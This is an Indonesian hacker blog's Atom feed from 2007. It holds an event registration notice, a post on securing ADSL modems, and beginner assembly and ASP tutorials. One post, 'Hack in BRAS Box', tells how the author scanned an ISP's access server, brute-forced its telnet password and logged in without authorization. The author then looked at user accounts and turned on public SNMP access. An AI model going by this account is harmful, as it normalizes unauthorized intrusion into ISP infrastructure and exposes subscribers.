/&gt;&lt;br /&gt;============&lt;br /&gt;&lt;br /&gt;To : ultah@echo.or.id&lt;br /&gt;Subject : ultah echo REGISTRATION&lt;br /&gt;BODY : &lt;br /&gt;&lt;br /&gt;Ultah EcHo .&lt;br /&gt;&lt;br /&gt;Full Name :&lt;br /&gt;Nick :&lt;br /&gt;Phone :&lt;br /&gt;Email :&lt;br /&gt;&lt;br /&gt;============&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Apabila sudah Transfer silakan kirim email konfirmasi dengan format sebagai berikut&lt;br /&gt;&lt;br /&gt;- Email Confirmation&lt;br /&gt;Dengan format sebagai berikut :&lt;br /&gt;&lt;br /&gt;============&lt;br /&gt;&lt;br /&gt;To : ultah@echo.or.id&lt;br /&gt;Subject : ultah echo CONFIRMATION&lt;br /&gt;BODY : &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Full Name :&lt;br /&gt;No Rekening Asal :&lt;br /&gt;No Rekening Tujuan : &lt;br /&gt;Bank Mandiri Cabang RS. Harapan Kita &lt;br /&gt;Rekening No : 116 000 4584 117 &lt;br /&gt;a/n Siska Kusumadewi&lt;br /&gt;Jumlah Transfer :&lt;br /&gt;Waktu Transfer :&lt;br /&gt;============&lt;br /&gt;&lt;br /&gt;- &lt;a href="http://seminar.echo.or.id/map_transport.html"&gt;&lt;strong&gt;Transportasi &amp; Peta Map+Transport Service&lt;/strong&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Regards;&lt;br /&gt;echo|staff&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6524342761532683951-4803703650147241701?l=pushm0v.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pushm0v.blogspot.com/feeds/4803703650147241701/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6524342761532683951&amp;postID=4803703650147241701' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/4803703650147241701'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/4803703650147241701'/><link rel='alternate' type='text/html' href='http://pushm0v.blogspot.com/2007/08/acara-ulang-tahun-echoorid.html' title='Acara Ulang tahun Echo.or.id'/><author><name>PusHm0v</name><uri>http://www.blogger.com/profile/15162887274290999315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp2.blogger.com/_C4OekAEc7cI/RtLtUEd2QDI/AAAAAAAAADU/vjzAeuPRHmE/s72-c/banner-ultah.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6524342761532683951.post-1341714229162350513</id><published>2007-08-26T20:56:00.000+07:00</published><updated>2007-08-27T14:10:17.961+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tech'/><title type='text'>Hack in BRAS Box</title><content type='html'>&lt;a href="http://bp3.blogger.com/_C4OekAEc7cI/RtGQvkd2P9I/AAAAAAAAACk/6E7hugfXfRI/s1600-h/MAG5200G.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_C4OekAEc7cI/RtGQvkd2P9I/AAAAAAAAACk/6E7hugfXfRI/s320/MAG5200G.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5103018999704600530" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;BRAS, Broadband Remote Access Server bertugas untuk mengroute lalu lintas data dari/ke DSLAM (Digital Subscriber Line Access Multiplexer) di suatu ISP. Berbagai fitur ada di BRAS, seperti IP QoS, ototenkasi, PPPoA, n dll. Kali ini aq nyoba "masuk" ke box sebuah BRAS ISP terkemuka di Indonesia :P.&lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;OK, lets get it ON!! Seperti biasa, kita akan gathering informasi seputar target. Aq nyoba ngescan port yang terbuka pake &lt;a href="http://www.angryziber.com/ipscan/"&gt;Angry IP Scanner&lt;/a&gt;. Port yg discan : 21,22,23,2222,2323,80,8080. &lt;br /&gt;&lt;br /&gt;&lt;a href="http://bp1.blogger.com/_C4OekAEc7cI/RtGOkEd2P7I/AAAAAAAAACU/bQ46oZqjqp8/s1600-h/ipscan.GIF"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_C4OekAEc7cI/RtGOkEd2P7I/AAAAAAAAACU/bQ46oZqjqp8/s320/ipscan.GIF" border="0" alt=""id="BLOGGER_PHOTO_ID_5103016603112849330" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Si target membuka port telnet, berarti kita coba konek dengan telnet.exe. Uuppss, ada passwordna, n aq gk tau ni :(.. Untuk itu kita coba crack dengan &lt;a href="http://www.hoobie.net/brutus/"&gt;Brutus&lt;/a&gt;... &lt;br /&gt;&lt;br /&gt;&lt;a href="http://bp0.blogger.com/_C4OekAEc7cI/RtGPQ0d2P8I/AAAAAAAAACc/Dn2ixFKqja0/s1600-h/brutus.GIF"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_C4OekAEc7cI/RtGPQ0d2P8I/AAAAAAAAACc/Dn2ixFKqja0/s320/brutus.GIF" border="0" alt=""id="BLOGGER_PHOTO_ID_5103017371911995330" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Yupsss, kita dapet passwordna :) hehehe, dalam masalah crack password (palagi dengan teknik brute-force) memang diperlukan kesabaran extra, soalna makin panjang password (&gt; 6 karakter) perlu waktu lama...&lt;br /&gt;Coba kita login yuk ke BRAS tsb...&lt;br /&gt;&lt;br /&gt;&lt;a href="http://bp2.blogger.com/_C4OekAEc7cI/RtJZ2Ed2P_I/AAAAAAAAAC0/R5KNfVNnbBc/s1600-h/divre2-BRAS.GIF"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_C4OekAEc7cI/RtJZ2Ed2P_I/AAAAAAAAAC0/R5KNfVNnbBc/s320/divre2-BRAS.GIF" border="0" alt=""id="BLOGGER_PHOTO_ID_5103240113210933234" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Taraaaaaaaaaaa... kita dah masuk ke box si BRAS... mo ngapain ya? Humm, coba kita liat user yg valid disini ... &lt;br /&gt;&lt;br /&gt;&lt;a href="http://bp2.blogger.com/_C4OekAEc7cI/RtJZ2Ed2QAI/AAAAAAAAAC8/SfwI9mZhIO4/s1600-h/divre2-BRAS2.GIF"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_C4OekAEc7cI/RtJZ2Ed2QAI/AAAAAAAAAC8/SfwI9mZhIO4/s320/divre2-BRAS2.GIF" border="0" alt=""id="BLOGGER_PHOTO_ID_5103240113210933250" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Weks, banyak juga nih.. hehehehe... coba kita liat sapa ajah account yang konek ke BRAS ini...&lt;br /&gt;&lt;br /&gt;&lt;a href="http://bp3.blogger.com/_C4OekAEc7cI/RtJZ2Ud2QBI/AAAAAAAAADE/moCXQuYPOMk/s1600-h/divre2-BRAS3.GIF"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_C4OekAEc7cI/RtJZ2Ud2QBI/AAAAAAAAADE/moCXQuYPOMk/s320/divre2-BRAS3.GIF" border="0" alt=""id="BLOGGER_PHOTO_ID_5103240117505900562" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Dalam posting sebelumna yg membahas soal hijacking account ADSL, kayakna lebih gampangan lewat BRAS ini dah.. hehehehe langsung ke pusatna :P&lt;br /&gt;trus apa ajah yg ada di sini selain diatas? banyaaakkkk bgt, dari konfigurasi jaringan (bisa kita liat lewat SNMP) ampe konfigurasi BRAS tsb. Untuk SNMP sengaja aq aktifkan di BRAS tsb, n akses lewat public-community :)&lt;br /&gt;&lt;br /&gt;&lt;a href="http://bp0.blogger.com/_C4OekAEc7cI/RtGSp0d2P-I/AAAAAAAAACs/-_j6jRa2ueg/s1600-h/snmp.GIF"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_C4OekAEc7cI/RtGSp0d2P-I/AAAAAAAAACs/-_j6jRa2ueg/s320/snmp.GIF" border="0" alt=""id="BLOGGER_PHOTO_ID_5103021099943608290" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Wah mang rawan nih kalo diapa2in si BRAS.. dari bikin backdoor ampe MITMA mungkin bisa dilakukan disini :P hehehhe, semoga para ISP lebih bisa mengamankan infrastruktur mereka tuk meminimalkan serangan seperti ini :) :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6524342761532683951-1341714229162350513?l=pushm0v.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pushm0v.blogspot.com/feeds/1341714229162350513/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6524342761532683951&amp;postID=1341714229162350513' title='8 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/1341714229162350513'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/1341714229162350513'/><link rel='alternate' type='text/html' href='http://pushm0v.blogspot.com/2007/08/hack-in-bras-box.html' title='Hack in BRAS Box'/><author><name>PusHm0v</name><uri>http://www.blogger.com/profile/15162887274290999315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_C4OekAEc7cI/RtGQvkd2P9I/AAAAAAAAACk/6E7hugfXfRI/s72-c/MAG5200G.jpg' height='72' width='72'/><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6524342761532683951.post-3022739866608237509</id><published>2007-08-26T01:41:00.000+07:00</published><updated>2007-08-26T02:05:09.377+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tech'/><title type='text'>Your ADSL Modem : How Secure Is It?</title><content type='html'>&lt;a href="http://bp3.blogger.com/_C4OekAEc7cI/RtB4j0d2P1I/AAAAAAAAABk/-xPb0UYgSgo/s1600-h/untitled4.bmp"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" title="Daftar Username n Password" src="http://bp3.blogger.com/_C4OekAEc7cI/RtB4j0d2P1I/AAAAAAAAABk/-xPb0UYgSgo/s320/untitled4.bmp" border="0" alt=""id="BLOGGER_PHOTO_ID_5102710934585360210" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Pernah ngalamin waktu konek ke internet dengan menggunakan koneksi ADSL, (lagi asik2 donlod :P) tiba2 putus koneksi? atau ingin konek ke internet tapi username n password anda ditolak? Humm, status modem OK, lampu ADSL nyala, lampu USB/Ethernet juga OK, Username n Password OK, kok gk mo konek!!!??? Nah lo! apa yang anda lakukan pertama kali? Angkat telpon n mulai mendial nomor telepon Customer Service ISP anda. Tetapi oleh sang "CS", diberitahu bahwa jaringan ADSL anda baik2 saja n sedang digunakan saat ini!?? &lt;br /&gt;&lt;br /&gt;Don't panic, mungkin anda termasuk salah satu (ato salah dua,tiga,empat, ... n) korban hijacking account ADSL. Kejadian ini bukanlah hal asing lagi, karena memang beberapa waktu lalu (atau bahkan saat ini masih) terjadi di berbagai kota. Aq gk tau angka pastina, tapi dengan tutorial atau pun eksperimen dewek, hampir semua orang bisa melakukanna.&lt;br /&gt;&lt;br /&gt;"Gimana sih aq ko bisa kena?", sederhanana kita menggunakan modem untuk menghubungkan diri ke jaringan ADSL. Yups, modem ADSL (beberapa dah ada yg built-in router) mang banyak sekali jenisna. Dari china-manufactured ampe eropa-manufactured mungkin ada :P (bukan distibutor, jadi asal nyebut ajah :P). Pernahkah anda melihat-lihat atau mencoba fitur yang ada di modem ADSL anda? Salah satu fitur yang "wajib" ada di modem ADSL adalah Remote Management atau Web Management. Fitur ini memungkinkan kita mengakses modem secara remote/di luar jaringan lokal.&lt;br /&gt;&lt;br /&gt;Nah itu dia permasalahanna, apakah fitur ini di modem anda sudah di non-aktifkan? bila belum, coba buka remote/web management dari browser anda. Masukkan IP/hostname modem anda (biasana sih IPna 192.168.1.1 atau 192.168.0.1, liat buku manual :P) lalu login dengan username n password yg ada di buku manual modem. Ubek2 si modem ampe nemu kata/kalimat "Enable/disable Remote/web management" atau sejenisna. Ya abis itu di non-aktifkan. Bila anda memang menggunakan fitur ini, ya tidak ada salahna untuk mengubah port default yg digunakan (biasana port 80 atau 8080). Jika tidak mengubah port ya ubahlah usernmae n password default modem anda :) :)&lt;br /&gt;&lt;br /&gt;Aq ndiri juga pernah nemuin banyak modem ADSL yang masih bisa "terakses" dengan username n password defaultna. Apa yg bisa kita peroleh? dari username n password account ADSL hingga (mungkin) mengakses komputer yang ada di jaringan lokal mereka :)&lt;br /&gt;&lt;br /&gt;Kalo account ADSL kita dah di tangan orang lain, wew bisa disalahgunakan (mungkin dipergunakan kata yg tepat :P). Tapi kayakna dengan adana hal semacam ini tentuna dari pihak ISP juga gk mau ketinggalan dunk, ya mereka bisa lebih "mengamankan" kustomer mereka. Misal dengan menerapkan sistem ototenkasi yang lebih ketat lagi :) :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6524342761532683951-3022739866608237509?l=pushm0v.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pushm0v.blogspot.com/feeds/3022739866608237509/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6524342761532683951&amp;postID=3022739866608237509' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/3022739866608237509'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/3022739866608237509'/><link rel='alternate' type='text/html' href='http://pushm0v.blogspot.com/2007/08/your-adsl-modem-how-secure-is-it.html' title='Your ADSL Modem : How Secure Is It?'/><author><name>PusHm0v</name><uri>http://www.blogger.com/profile/15162887274290999315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_C4OekAEc7cI/RtB4j0d2P1I/AAAAAAAAABk/-xPb0UYgSgo/s72-c/untitled4.bmp' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6524342761532683951.post-5786268047340804156</id><published>2007-08-26T01:12:00.000+07:00</published><updated>2007-08-26T01:27:49.656+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tech'/><title type='text'>Struktur Program COM</title><content type='html'>&lt;a href="http://bp1.blogger.com/_C4OekAEc7cI/RtBzQUd2P0I/AAAAAAAAABc/tQ3XkLzsamg/s1600-h/peeringpe1.gif"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_C4OekAEc7cI/RtBzQUd2P0I/AAAAAAAAABc/tQ3XkLzsamg/s320/peeringpe1.gif" border="0" title="Struktur PE" alt=""id="BLOGGER_PHOTO_ID_5102705102019772226" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;#####################################&lt;br /&gt;Dokumentasi asli ada di &lt;a href="http://www.sroer.org/index.php?type=download&amp;filename=chapter_1.zip&amp;types=tugas"&gt;www.SROeR.org&lt;/a&gt; &lt;br /&gt; "Chapter 1 : Struktur Program COM"&lt;br /&gt;#####################################&lt;br /&gt;&lt;br /&gt;Mengapa menggunakan bahasa Assembly?&lt;br /&gt;&lt;br /&gt;1. Cepat, Lebih cepat dari compiler lainnya.&lt;br /&gt;2. Lebih dekat dengan bahasa mesin, disebabkan bahasa Assembly dialamatkan&lt;br /&gt;1:1 dengan bahasa mesin.&lt;br /&gt;3. Kode yang dihasilkan lebih kecil dari compiler lainnya.&lt;br /&gt;4. Dapat mengakses hardware lebih luas.&lt;br /&gt;&lt;br /&gt;Compiler Assembly sudah banyak tersedia di internet, contohnya TASM (Turbo&lt;br /&gt;Assembler), MASM (Microsoft Assembler), NASM (Netwide Assembler), dan lainlain.&lt;br /&gt;Salah satu bentuk program yang dapat dihasilkan oleh compiler Assembly&lt;br /&gt;adalah file COM. File COM adalah struktur program paling sederhana. Ada&lt;br /&gt;beberapa syarat dalam pembuatan atau penggunaan file COM :&lt;br /&gt;&lt;br /&gt;1. Kode dan data program harus tidak lebih besar dari 64 KB.&lt;br /&gt;2. Tidak dapat memesan alamat memori melalui sistem operasi.&lt;br /&gt;&lt;br /&gt;Contoh bentuk kode program COM, ketiklah di teks editor yang dapat&lt;br /&gt;menghasilkan file ASCII murni seperti Notepad, vi, atau lainnya. Simpan&lt;br /&gt;dengan nama COBAASM.ASM.&lt;br /&gt;Versi TASM :&lt;br /&gt;----------------------------------&lt;br /&gt;ideal&lt;br /&gt;p386n&lt;br /&gt;model tiny&lt;br /&gt;codeseg&lt;br /&gt;org 100h&lt;br /&gt;jmp start&lt;br /&gt;;tempat data dan subrutin&lt;br /&gt;start:&lt;br /&gt;mov ax, 4c00h&lt;br /&gt;int 21h&lt;br /&gt;end&lt;br /&gt;----------------------------------&lt;br /&gt;Versi MASM :&lt;br /&gt;----------------------------------&lt;br /&gt;.386&lt;br /&gt;.model tiny&lt;br /&gt;.code&lt;br /&gt;org 100h&lt;br /&gt;entry:&lt;br /&gt;jmp start&lt;br /&gt;;tempat data dan subrutin&lt;br /&gt;start:&lt;br /&gt;mov ax, 4c00h&lt;br /&gt;int 21h&lt;br /&gt;end entry&lt;br /&gt;----------------------------------&lt;br /&gt;&lt;br /&gt;Compilelah dengan perintah TASM.EXE COBAASM.ASM lalu dikuti dengan perintah&lt;br /&gt;TLINK.EXE /T COBAASM.OBJ jika menggunakan compiler TASM. Untuk compiler MASM&lt;br /&gt;gunakan perintah ML COBAASM.ASM. Jika tak ada error maka akan terlihat&lt;br /&gt;output seperti ini :&lt;br /&gt;&lt;br /&gt;E:\PUSHM0~1\TASM3&gt;tasm.exe cobaasm.asm&lt;br /&gt;Turbo Assembler Version 3.0 Copyright (c) 1988, 1991 Borland&lt;br /&gt;International&lt;br /&gt;Assembling file: cobaasm.asm&lt;br /&gt;Error messages: None&lt;br /&gt;Warning messages: None&lt;br /&gt;Passes: 1&lt;br /&gt;Remaining memory: 460k&lt;br /&gt;&lt;br /&gt;File yang dihasilkan dari proses kompilasi adalah file OBJ. Untuk merubah&lt;br /&gt;file OBJ ini menjadi sebuah file EXE atau COM kita perlu melakukan "linking"&lt;br /&gt;dengan program linker. Disini kita menggunakan TLINK.exe.&lt;br /&gt;&lt;br /&gt;E:\PUSHM0~1\TASM3&gt;tlink.exe /t cobaasm.obj&lt;br /&gt;Turbo Link Version 3.0 Copyright (c) 1987, 1990 Borland International&lt;br /&gt;&lt;br /&gt;Argumen /t pada tlink.exe berarti kita ingin membuat file COM dari file .obj&lt;br /&gt;yang dihasilkan oleh compiler. Sedangkan untuk membuat file EXE tidak perlu&lt;br /&gt;mengikutkan argumen /t.&lt;br /&gt;Jalankan program COM tersebut :&lt;br /&gt;&lt;br /&gt;E:\PUSHM0~1\TASM3&gt;cobaasm.com&lt;br /&gt;&lt;br /&gt;Apa yang terjadi? Tentunya tidak terjadi apa-apa karena kita belum&lt;br /&gt;menuliskan perintah untuk program tersebut. Jadi program cobaasm.com&lt;br /&gt;tersebut hanya diload ke memory lalu terminate dengan sendirinya.&lt;br /&gt;Apa sih arti dari kode-kode diatas? lalu apa perbedaan antara kode yang&lt;br /&gt;ditulis untuk compiler TASM dengan MASM?&lt;br /&gt;berikut adalah penjelasan lengkapnya...&lt;br /&gt;&lt;br /&gt;1. Perintah "ideal" berarti kita menggunakan syntax ideal dalam compiler&lt;br /&gt;TASM.&lt;br /&gt;2. Perintah "p386n" atau ".386" berarti kita menggunakan intruksi prosesor&lt;br /&gt;80386.&lt;br /&gt;3. Perintah "model tiny" atau ".tiny" berarti kita ingin menggunakan&lt;br /&gt;format file COM.&lt;br /&gt;4. Perintah "codeseg" atau ".code" adalah awal dari kode program kita.&lt;br /&gt;5. Perintah "org 100h" berarti program kita akan dimulai dari offset 100h.&lt;br /&gt;6. Dalam compiler MASM kita perlu mendeklarasikan entry point untuk&lt;br /&gt;program, disini kita gunakan label "entry:".&lt;br /&gt;Perlu diketahui kalau deklarasi sebuah label : "nama_label:".&lt;br /&gt;7. Program COM selalu diawali dengan "peloncatan" atau "jump" ke awal kode&lt;br /&gt;program. Perintah yang digunakan adalah “jmp" diikuti dengan nama&lt;br /&gt;label, misalnya "start". Bila diperhatikan, diantara perintah "jmp&lt;br /&gt;start" dan label "start" adalah tempat dimana kita bisa deklarasikan&lt;br /&gt;variabel-variabel ataupun data-data yang digunakan dalam program kita.&lt;br /&gt;8. Untuk mengakhiri jalannya program, kita perlu membuat suatu perintah.&lt;br /&gt;Perintah "end" atau "end entry" disini hanya menunjukkan akhir dari&lt;br /&gt;kode program, bukan untuk MENGAKHIRI proses. 2 perintah yang digunakan&lt;br /&gt;adalah :&lt;br /&gt;&lt;br /&gt;MOV AX, 4c00h&lt;br /&gt;int 21h&lt;br /&gt;&lt;br /&gt;Perintah MOV adalah perintah untuk menyalin isi data atau register ke&lt;br /&gt;suatu register lain. Bentuk umum perintah MOV :&lt;br /&gt;&lt;br /&gt;MOV tujuan_salin, asal_salin&lt;br /&gt;&lt;br /&gt;Pada perintah diatas kita akan menyalin atau lebih tepatnya "mengisi"&lt;br /&gt;register AX (lebih dikenal dengan register akumulator 16 bit) dengan&lt;br /&gt;bilangan heksa 4c00.&lt;br /&gt;Sedangkan perintah INT 21h berarti kita menjalankan interrupt sistem&lt;br /&gt;dengan fungsi 21h.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6524342761532683951-5786268047340804156?l=pushm0v.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pushm0v.blogspot.com/feeds/5786268047340804156/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6524342761532683951&amp;postID=5786268047340804156' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/5786268047340804156'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/5786268047340804156'/><link rel='alternate' type='text/html' href='http://pushm0v.blogspot.com/2007/08/struktur-program-com.html' title='Struktur Program COM'/><author><name>PusHm0v</name><uri>http://www.blogger.com/profile/15162887274290999315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp1.blogger.com/_C4OekAEc7cI/RtBzQUd2P0I/AAAAAAAAABc/tQ3XkLzsamg/s72-c/peeringpe1.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6524342761532683951.post-5505316856452655700</id><published>2007-08-26T00:59:00.001+07:00</published><updated>2007-08-26T01:11:11.395+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tech'/><title type='text'>ActiveX-DLL with ASP</title><content type='html'>&lt;a href="http://bp2.blogger.com/_C4OekAEc7cI/RtBu8kd2PzI/AAAAAAAAABU/e_AOY0GYirE/s1600-h/iiwaabt1.gif"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_C4OekAEc7cI/RtBu8kd2PzI/AAAAAAAAABU/e_AOY0GYirE/s320/iiwaabt1.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5102700364670844722" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Shoutz : All echo|staff, yogyafree|staff, The Killer Team&lt;br /&gt;  Myztx, vaganci, ^family_code^, TOMMY, adhietslank, ^rumput_kering^, Hartono, etc.&lt;br /&gt;         #e-c-h-o, #yogyafree, #javahack, #koncek, #canda, #canda-ops @DAL.NET&lt;br /&gt;         newbie_hacker@yahoogroups.com, yogyafree@yahoogroups.com&lt;br /&gt;         IT_CENTER@yahoogroups.com, ProgrammerVB@yahoogroups.com&lt;br /&gt;  virus_baru@yahoogroups.com&lt;br /&gt;         VB-bego.com, Virology.info, Vbtn.com&lt;br /&gt;         IA01 dan 1IA07, Lab MaDas angk. 19/2004 @ Gunadarma University&lt;br /&gt;         Dan teman2 serta kerabat2 lain yang tidak bisa disebutkan satu-persatu&lt;br /&gt;&lt;br /&gt;Notes  : - Penulis TIDAK bertanggung jawab atas penggunaan maupun penyalahgunaan dari artikel ini.&lt;br /&gt;  - Tujuan dibuat artikel HANYA untuk BAHAN PEMBELAJARAN saja.&lt;br /&gt;         - Penggunaan nama, merek, atau logo hanya sebagai CONTOH dan REFERENSI saja, TIDAK ada maksud&lt;br /&gt;           mempromosikan pihak tertentu.&lt;br /&gt;         - Penulis mohon maaf apabila seluruh/sebagian dari isi artikel ini sudah tersirat dalam &lt;br /&gt;           artikel sejenis lainnya.&lt;br /&gt;&lt;br /&gt;Main#&lt;br /&gt; ASP atau Active Server Pages adalah produk server-side scripting yang dikeluarkan oleh Microsoft Corporation.&lt;br /&gt;Terdapat beberapa perbedaan antara ASP dengan server-side scripting lainnya, diantaranya :&lt;br /&gt;&lt;br /&gt; - Lisensi, seperti yang diketahui ASP adalah bersifat proprietary.&lt;br /&gt; - Distribusi, ASP hanya dapat dijalankan di sistem operasi windows dengan IIS yang terinstall didalamnya. &lt;br /&gt;   Walaupun dapat dijalankan di linux/unix dengan Chilisoft ASP, tidak dapat selancar bila di windows.&lt;br /&gt; - Penggunaan COM object yang kental, salah satu keunggulan ASP adalah kekayaannya dalam integrasi dengan COM&lt;br /&gt;   Object dalam kinerjanya.&lt;br /&gt; - Dapat berkolaborasi dengan script lainnya, seperti VBScript, JScript, PerlScript, PyhonScript, dan lainnya.&lt;br /&gt; - Dominan memakai ADO dalam konektivitas databasenya.&lt;br /&gt;&lt;br /&gt; Dalam perkembangannya, saat ini ASP sudah mengimplementasikan konsep .NET didalamnya. Berikut adalah sejarah singkat&lt;br /&gt;dari perkembangan ASP :&lt;br /&gt;&lt;br /&gt; - ASP version 1.0 (distributed with IIS 3.0) , Desember 1996,&lt;br /&gt; - ASP version 2.0 (distributed with IIS 4.0) , September 1997,&lt;br /&gt; - ASP version 3.0 (distributed with IIS 5.0) , November 2000,&lt;br /&gt; - ASP.NET version 1.0 (part of the Microsoft .NET platform) , Januari 2002&lt;br /&gt; - ASP.NET version 1.1 , April 2003&lt;br /&gt; - ASP.NET version 2.0 , November 7 2005)&lt;br /&gt;&lt;br /&gt; Pada artikel ini akan dijelaskan bagaimana membuat dan mengimplementasikan ActiveX DLL di halaman ASP. Mengapa menggunakan&lt;br /&gt;ActiveX DLL? Karena komponen tersebut dapat diubah dan dibuat dengan mudah, tentunya jika diimbangi dengan pengetahuan pemograman&lt;br /&gt;yang baik. Secara umumnya, pengaksesan komponen ActiveX DLL dari script ASP adalah :&lt;br /&gt;  &lt;br /&gt; set obj = Server.createobject(object/file_name.classname)&lt;br /&gt;&lt;br /&gt; Objectname adalah nama object/file yang sudah teregistrasi di windows sebelumnya, dan classname adalah nama class dari object &lt;br /&gt;tersebut. Sedangkan untuk pengaksesan fungsi atau method yang ada di object tersebut adalah :&lt;br /&gt;&lt;br /&gt; obj.methodname(param)&lt;br /&gt;&lt;br /&gt; Param adalah parameter masukan untuk fungsi. &lt;br /&gt;  &lt;br /&gt;How to build#&lt;br /&gt; Dalam membuat komponen ActiveX untuk ASP perlu diperhatikan hal-hal sebagai berikut :&lt;br /&gt;&lt;br /&gt; - Privilege atau hak akses. Jika komponen ActiveX perlu menjalankan suatu program, menghapus/membuat file dan kegiatan akses sistem&lt;br /&gt;   lainnya, perlu konfigurasi privilege yang baik. Karena jika tidak maka akan terjadi penolakan hak akses dari sistem operasi.&lt;br /&gt; - Run-time, pada saat eksekusi komponen ActiveX maka komponen tersebut akan diload oleh IIS Worker Process atau w3wp.exe. Maka bila&lt;br /&gt;   terjadi kesalahan atau kondisi dimana komponen tidak respon, diperlukan penanganan seperti merestart service IIS guna membuka&lt;br /&gt;   handle ke file ActiveX DLL tsb.&lt;br /&gt; - Registrasi komponen, registrasi komponen dengan menggunakan tools regsvr32.exe diperlukan agar IIS dapat mengetahui komponen yang&lt;br /&gt;   akan dijalankannya. Registrasi dapat dilakukan dengan cara mengetikkan : regsvr32.exe [path/nama DLL] pada kotak Run dan untuk unregister&lt;br /&gt;   komponen dengan cara : regsvr32.exe /u [path/nama DLL].&lt;br /&gt;&lt;br /&gt; Selanjutnya kita akan membuat contoh komponen ActiveX yang sederhana 